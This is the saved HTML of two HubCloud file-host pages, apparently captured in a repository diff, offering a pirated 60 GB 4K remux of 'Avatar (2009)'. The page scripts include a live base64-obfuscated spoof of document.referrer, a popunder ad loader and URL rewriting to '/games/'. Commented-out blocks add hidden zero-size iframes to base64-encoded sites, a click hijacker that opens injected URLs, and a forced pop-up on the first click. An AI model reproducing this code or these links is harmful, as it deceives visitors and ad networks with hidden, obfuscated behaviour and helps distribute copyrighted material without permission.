border-radius: .30rem;
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
}
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
color: #fff;
background-color: #1e7e34;
border-color: #1c7430;
}
.btn-success1:hover {
color: #fff;
background-color: #218838;
border-color: #1e7e34;
}
.btn-success1.focus, .btn-success1:focus {
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
}
.btn-lg, .btn-group-lg > .btn2 {
padding: .5rem .6rem !important;
font-family: 'Open Sans',sans-serif!important;
letter-spacing: .1px;
border-radius: 0.35rem!important;
}
.ads-btns {
position: relative;
overflow: hidden
}
.ads-btns a.btn2 {
min-width: 40%
}
.ads-btns svg {
fill: #fff;
width: 17px;
position: absolute;
right: 0;
top: 0
}
.ads-btns svg path {
fill: #fff;
stroke: #fff
}
.ads-btns svg:first-child path {
fill: #fff;
stroke: transparent
}
.ads-btns svg:first-child {
right: 20px
}
.downloads-btns-div .btn2 {
margin: 0 3px 12px
}
.btn2 {
font-style: normal;
font-weight: 500;
font-size: 14px;
text-align: center;
text-transform: uppercase;
border: 2px solid #cbfc01;
padding: 10px 15px;
border-radius: 6px;
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
background: #0ebac3;
color: #000;
display: inline-block;
text-decoration: none;
background: #cbfc01
}
.btn-zip {
border-color: #00d0ff;
background: #00d0ff;
color: #000
}
</style>
<body><center>
<br/>
<div class="header">
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
</div>
<div class="container">
<div class="card-body">
<h2>
<div class="main" id="section2">
<div class="card h6">
<div class="card-header text-white bg-primary mb-3">
Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv </div>
<div class="card-body">
<ul class="list-group">
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">60.21 GB</i></li>
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="date">13-May-2025 05:55:49</i></li>
</ul>
</div>
</div>
</div>
<p class="h3 text-success">Download Link Generated</p>
<div class="input-group mb-3">
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/1qepetxqp4nhxxq" readonly="" id="ilink">
<div class="input-group-prepend">
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
</div>
</div>
<!-- Banners -->
<!--<ins data-revive-zoneid="6" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
<!-- Mobile Banners -->
<!--<ins data-revive-zoneid="7" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
<!--<script async src="//greenfox.ink/d/asyncjs.php"></script>-->
<div class="alert alert-warning h6" role="alert">
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
</div>
<div class="ad-container"></div>
<div class="ad-containerx"></div>
<a href="https://love.polgen.buzz/9eb5c280ca70adc5c98417476ff16743?token=1768569027" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
<script>
const fsl = document.getElementById('fsl');
if (fsl) fsl.href += '1' + new Date().getMinutes();
</script>
<a href="https://pixel.hubcdn.fans/?id=916e54dbbc3923cf404ca0c44108f91051021dd4d146df1f0a3c215750cbd8206c23b3e8663d75214d4d981882457c38140d33c6ee0a906d4c78089033814f7e562947cae9e7459bbcb9d84cdcda434d20e0fb72be56fe7e6b12f5c754c48d0b::fca3f06af5c7c4b06bda6feb79165ada" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
Resume Not Supported in 10Gbps So Use only if you have stable internet (:
</p>
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
<script>
function createIntentURL({host, scheme = 'http', type = 'application/octet-stream'}) {
let host_ = host.replace('https://', '');
return `intent://${host_}#Intent;scheme=${scheme};action=android.intent.action.VIEW;type=${type};S.browser_fallback_url=${encodeURIComponent(host)};end`;
}
function isAndroid() {
return /Android/i.test(navigator.userAgent);
}
const android_launch = document.getElementById('android_launch');
if(isAndroid()){
android_launch.classList.remove("d-none");
android_launch.addEventListener('click', ()=>{
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://love.polgen.buzz/9eb5c280ca70adc5c98417476ff16743?token=1768569027',scheme: 'https',type: 'video/x-matrosk',
});anchor.click();
});
};
</script>
</h2>
<div class="alert alert-warning" role="alert">
<p><b>Note : </b>Please Use Download Manager like <a href="https://www.google.com/search?q=idm+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDM</a> Or <a href="https://www.google.com/search?q=IDA+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDA</a> - To accelerate Your Download Speeds </p>
</div>
<div class="alert alert-primary" role="alert">
<p><b>Note:</b> <i>Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
</div>
<div class="alert alert-info" role="alert">
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
</div>
<hr>
<br>
<div class="tab-content">
<div role="tabpanel" class="tab-pane fade show active" id="link">
<div class="text" align="center">
<ul class="nav nav-tabs" role="tablist">
<li class="nav-item">
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
</li>
</ul>
</div>
<div class="card">
<div class="card-body" id="div1">
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/1qepetxqp4nhxxq</p>
</div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script>
var size = document.getElementById("size").innerHTML
var sharelink = document.getElementById("sharelink").innerHTML
if(size == 'NAN '){swal({
title: "Token Expired!",
text: "Token Link has been expired Please Click on Ok Button To Generate New Link!",
type: "success"
}).then(function() {
window.location = document.location.href = sharelink;
});}
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied ! : "+e)}
</script>
</div>
</div>
</div>
<script>
// const L_=["aHR0cHM6Ly90aW55dXJsLmNvbS9hdm9ndXJsNHU="],localStorageKey="pds",hoursLimit=6;let opened=!1;document.addEventListener("click",function(){if(!opened){var a=localStorage.getItem(localStorageKey),l=(new Date).getTime();if(!(a&&l-a<216e5)){opened=!0;let e=L_[Math.floor(Math.random()*L_.length)],t=atob(e),o=document.createElement("a");o.href=t,o.target="_blank",o.rel="noopener noreferrer",a=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!0}),o.dispatchEvent(a),setTimeout(()=>window.focus(),100),localStorage.setItem(localStorageKey,l)}}});
</script>
<br>
<br>
<br>
<br><br>
</div>
Msc
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
<!--2dl-->
<div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
</div>
</body>
</html><script>
window.sessionStorage.setItem('xl',window.location.href)
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
</script>
<script>
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
</script>
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
<!--</script>-->
<script>
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
</script>
<script data-cfasync="false" type="text/javascript" id="clever-core">
/* <![CDATA[ */
(function (document, window) {
var a, c = document.createElement("script"), f = window.frameElement;
c.id = "CleverCoreLoader98023";
c.src = "https://scripts.cleverwebserver.com/9afdf189fcae8189c250865783d52630.js";
c.async = !0;
c.type = "text/javascript";
c.setAttribute("data-target", window.name || (f && f.getAttribute("id")));
c.setAttribute("data-callback", "put-your-callback-function-here");
c.setAttribute("data-callback-url-click", "put-your-click-macro-here");
c.setAttribute("data-callback-url-view", "put-your-view-macro-here");
try {
a = parent.document.getElementsByTagName("script")[0] || document.getElementsByTagName("script")[0];
} catch (e) {
a = !1;
}
a || (a = document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]);
a.parentNode.insertBefore(c, a);
})(document, window);
/* ]]> */
</script>

View file

@ -1,328 +0,0 @@
<html>
<head>
<title>Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv</title>
<meta charset="utf-8">
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
<meta name="referrer" content="no-referrer">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<meta name=viewport content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex,nofollow">
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220840"></script>-->
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
<script type="text/javascript">
aclib.runPop({
zoneId: '10550070',
});
</script>
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-VPX61DM9S8"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-VPX61DM9S8');Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
</script>
<script>
// function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}
// let p_ = document.location.pathname;
// cn('/');
// setTimeout(()=> cn(p_), 2200);
</script>
</head>
<style>
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
.btn-success1 {
color: #fff;
background-color: #28a745;
border-color: #28a745;
display: inline-block;
text-align: center;
font-size: 1rem;
letter-spacing: .4px;
font-family: 'Open Sans',sans-serif!important;
font-weight: 600;
text-decoration:none !important;
vertical-align: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
border: 1px solid transparent;
padding: .375rem .75rem;
line-height: 1.5;
border-radius: .30rem;
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
}
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
color: #fff;
background-color: #1e7e34;
border-color: #1c7430;
}
.btn-success1:hover {
color: #fff;
background-color: #218838;
border-color: #1e7e34;
}
.btn-success1.focus, .btn-success1:focus {
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
}
.btn-lg, .btn-group-lg > .btn2 {
padding: .5rem .6rem !important;
font-family: 'Open Sans',sans-serif!important;
letter-spacing: .1px;
border-radius: 0.35rem!important;
}
.ads-btns {
position: relative;
overflow: hidden
}
.ads-btns a.btn2 {
min-width: 40%
}
.ads-btns svg {
fill: #fff;
width: 17px;
position: absolute;
right: 0;
top: 0
}
.ads-btns svg path {
fill: #fff;
stroke: #fff
}
.ads-btns svg:first-child path {
fill: #fff;
stroke: transparent
}
.ads-btns svg:first-child {
right: 20px
}
.downloads-btns-div .btn2 {
margin: 0 3px 12px
}
.btn2 {
font-style: normal;
font-weight: 500;
font-size: 14px;
text-align: center;
text-transform: uppercase;
border: 2px solid #cbfc01;
padding: 10px 15px;
border-radius: 6px;
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
background: #0ebac3;
color: #000;
display: inline-block;
text-decoration: none;
background: #cbfc01
}
.btn-zip {
border-color: #00d0ff;
background: #00d0ff;
color: #000
}
</style>
<body><center>
<br/>
<div class="header">
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
</div>
<br>
<div class="container container-fluid main">
<div class="card-body">
<h2>
<div class="main" id="section2">
<div class="card h6">
<div class="card-header text-white bg-primary mb-3">
Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv </div>
<div class="card-body">
<ul class="list-group">
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">60.21 GB</i></li>
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="size">13-May-2025 05:55:49</i></li>
</ul>
</ul>
</div>
</div>
</div>
<div class="alert alert-warning h6" role="alert">
<span>
<p>Experience the magic of Hubcloud where files effortlessly find their way into your downloads!</p>
<b>Hubcloud Means File will get Downloaded by anyhow (: </b>
</span>
</div>
<center>
<!--<a href="https://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/header.gif" style="-->
<!-- width: 820px;-->
<!-- height: 90px;-->
<!-- padding: -17px;-->
<!--" class="img-fluid"></a>-->
</center>
<div class="loading">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin:auto;background:#fff;display:block;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g><circle cx="73.801" cy="68.263" fill="#e15b64" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="0s"></animateTransform>
</circle><circle cx="68.263" cy="73.801" fill="#f47e60" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.062s"></animateTransform>
</circle><circle cx="61.481" cy="77.716" fill="#f8b26a" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.125s"></animateTransform>
</circle><circle cx="53.916" cy="79.743" fill="#abbd81" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.187s"></animateTransform>
</circle><circle cx="46.084" cy="79.743" fill="#849b87" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.25s"></animateTransform>
</circle><circle cx="38.519" cy="77.716" fill="#6492ac" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.312s"></animateTransform>
</circle><circle cx="31.737" cy="73.801" fill="#637cb5" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.375s"></animateTransform>
</circle><circle cx="26.199" cy="68.263" fill="#6a63b6" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.437s"></animateTransform>
</circle><animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;0 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s"></animateTransform></g>
</svg>
<h3>Please Wait While Page is loading</h3>
</div>
<div class="vd d-none">
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=1qepetxqp4nhxxq&token=dDU4Z2M5RGgxcGl0Y01yTzd0eWRnTmdDS2QzVTVUQWpIR2xtS1R5RGhWaz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
<center>
<!--<div class="ads-btns">-->
<!--<div class="downloads-btns-div"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M7.5,1.5a6,6,0,1,0,0,12a6,6,0,1,0,0,-12m0,1a5,5,0,1,1,0,10a5,5,0,1,1,0,-10ZM6.625,11l1.75,0l0,-4.5l-1.75,0ZM7.5,3.75a1,1,0,1,0,0,2a1,1,0,1,0,0,-2Z"></path></svg><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5"></path></svg><a class="btn2" href="https://winexch.com/?btag=52330173" rel="nofollow" target="blank">Watch Online</a><a class="btn2 btn-zip" target="blank" rel="nofollow" href="https://winexch.com/?btag=52330173">Download</a></div>-->
<!--</div>-->
</center>
</div>
</h2>
<center>
<!-- <a href="http://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/footer.gif" style="-->
<!-- width: 820px;-->
<!-- height: 90px;-->
<!-- padding: -17px;-->
<!--" class="img-fluid"></a>-->
</center>
<div class="alert alert-info" role="alert">
<P><a href="https://tinyurl.com/yjrvvdxu" rel="noopener noreferrer nofollow" target="_blank">How to Download From HubCloud ? Click here to Watch Tutorial</a></P>
</div>
<div class="alert alert-primary" role="alert">
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
</div>
<div class="alert alert-info" role="alert">
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
</div>
<hr>
<!--<div class="m-5 font-weight-normal text-primary">-->
<!--<a href="https://a-ads.com?partner=1490501">Advertise with Anonymous Ads</a>-->
<!--</div>-->
<br>
<div class="tab-content">
<div role="tabpanel" class="tab-pane fade show active" id="link">
<div class="text" align="center">
<ul class="nav nav-tabs" role="tablist">
<li class="nav-item">
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
</li>
</ul>
</div>
<div class="card">
<div class="card-body" id="div1">
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/1qepetxqp4nhxxq</p>
</div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script>
setTimeout(function(){
document.querySelector(".loading").classList.add("d-none");
document.querySelector(".vd").classList.remove("d-none");
}, 2000);
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=1qepetxqp4nhxxq&token=dDU4Z2M5RGgxcGl0Y01yTzd0eWRnTmdDS2QzVTVUQWpIR2xtS1R5RGhWaz0=';
var download = document.getElementById('download');
download.onclick = function() {
if (this.classList.contains('disabled')) {
event.preventDefault();
return;
}
window.location.href = url;
download.classList.add('disabled');
setTimeout(function() {
download.classList.remove('disabled');
}, 6000);
}
</script>
<script>
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
</script>
<script>
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
</script>
</div>
</div>
</div>
<br>
<br>
<br>
<br><br>
</div>
<div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
</div>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'9bede0942dcf4e6c',t:'MTc2ODU2OTI4MA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body>
</html>

Some files were not shown because too many files have changed in this diff Show more